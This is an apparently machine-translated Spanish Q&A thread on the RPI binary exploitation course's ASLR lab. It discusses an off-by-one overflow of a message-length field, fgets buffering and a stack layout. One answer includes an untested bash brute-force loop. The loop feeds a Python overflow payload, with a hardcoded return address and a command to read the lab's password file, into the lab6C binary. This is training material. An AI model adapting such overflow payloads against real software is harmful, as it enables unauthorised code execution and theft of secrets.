Laboratorio de explotación de desbordamiento de software

2

Trabajando a través de un curso de explotación binario publicado por RPI hace unos años. Actualmente está en el laboratorio de ASLR y tiene algunos problemas con él (aunque no con las partes relacionadas con ASLR). Para empezar, no puedo descubrir cómo explotar, y luego lidiar con la complejidad adicional de la derivación ASLR.

Aquí está el código (que se ejecuta en Ubuntu de 32 bits):
enlace

Pienso que ya que tienen que compilar sin el canario que hay un desbordamiento para explotar. Parece que todos los tamaños se verificaron correctamente excepto el de bucle, pero también hay un comportamiento extraño que no entiendo.

Cosas que hago / no sé o he probado:
1. Si escribo 40 caracteres en el nombre de usuario, entonces el bucle for sobrescribe un byte del campo de longitud del mensaje.
2. Si el nombre de usuario es muy largo, se sobrescribe parte del campo de tweet y se omite la entrada del usuario para fgets en la línea 58 y el tweet ya no está vacío (esta es la parte que no puedo entender). En set_tweet, la memoria se pone a cero al inicio de todos modos, por lo que si había datos antiguos allí, ¿cómo no podrían borrarse?
3. Si pudiera sobrescribir más de 1 byte de la longitud del mensaje de la estructura, podría transferir más de la gran lectura al tweet e invadir esa estructura en otra memoria. La compilación de prueba con 41 en lugar de 40 en el bucle for confirma esto.

    
pregunta Praet 29.08.2017 - 01:38
fuente

2 respuestas

1
  
  1. Si escribo 40 caracteres en el nombre de usuario, entonces el bucle for sobrescribe un byte del campo de longitud del mensaje.
  2.   

Tienes razón. Esta parece ser la clave para la explotación aquí.

  
  1. Si el nombre de usuario es muy largo, se sobrescribe parte del campo del tweet y se omite la entrada del usuario para los fgets en la línea 58 y el tweet ya no está vacío (esta es la parte que no puedo entender). En set_tweet, la memoria se pone a cero al inicio de todos modos, por lo que si hubiera datos antiguos allí, ¿cómo podría no ser borrada?
  2.   

De hecho, esto no es intuitivo, y necesitamos sumergirnos en la forma en que stdio funciona para poder explicarlo.

Cuando llamamos a fgets(readbuf, 128, stdin); (como en la línea 74), fgets lee desde stdin hasta readbuf hasta que alcanza una nueva línea o 127 caracteres. Sin embargo, cuando escribe 128 o más caracteres (es decir, al menos 127 caracteres antes de una nueva línea), el resto se conserva en el búfer estándar y se extrae al llamar a fgets en la línea 58. Por eso no es necesario volver a preguntar al usuario.

Supongamos que nuestra entrada de nombre de usuario es 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567\n

Después de la línea 74, readbuf será 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456

y al llegar a la línea 58, readbuf se establecerá en 7\n .

  
  1. Si pudiera sobrescribir más de 1 byte de la longitud del mensaje de la estructura, podría transferir más de los grandes archivos de lectura a tweet e invadir esa estructura en otra memoria. La compilación de prueba con 41 en lugar de 40 en el bucle for confirma esto.
  2.   

Bueno, solo puedes escribir hasta 255 bytes :)

Sin embargo, eso es suficiente para explotar. Tenga en cuenta que sizeof (struct savestate) = 184, y después de guardar la pila contiene ebx, el antiguo ebp y ret.

El diseño de la pila en handle_tweet parece ser así:

0xffffd840  <local2>
0xffffd844  <local1>
0xffffd848  <save>  aka. ebp-0xc0
0xffffd904  <old ebx>
0xffffd908  <old ebp>  current ebp points here
0xffffd90c  <return address>
0xffffd910  previous stack location

¡Buena suerte!

    
respondido por el Ángel 29.08.2017 - 02:51
fuente
1

Probé esos ejercicios hace 1 año, fue divertido y educativo. Aunque no fue capaz de resolverlos todos.

  

Si escribo 40 caracteres en el nombre de usuario, el bucle for sobrescribe   un byte del campo de longitud del mensaje.

Sí, aquí está tu hazaña. Probaría algo como esto:

#!/bin/bash

echo bruteforcin all things

while true 
do  
      python -c 'print "A"*40 + "\xff" + "B"*282 + "\x2b\x77\x76\xb7\n(cat /the/.pass/file/you/should/have/obtain/in/lab6b)\n"' | ./lab6C | grep -E "^[a-zA-Z0-9_\-]{12,}" && break 
done

En realidad, no probé el código anterior, lo siento si escribí algo incorrectamente.

buena suerte.

    
respondido por el Baptiste 29.08.2017 - 04:03
fuente

Lea otras preguntas en las etiquetas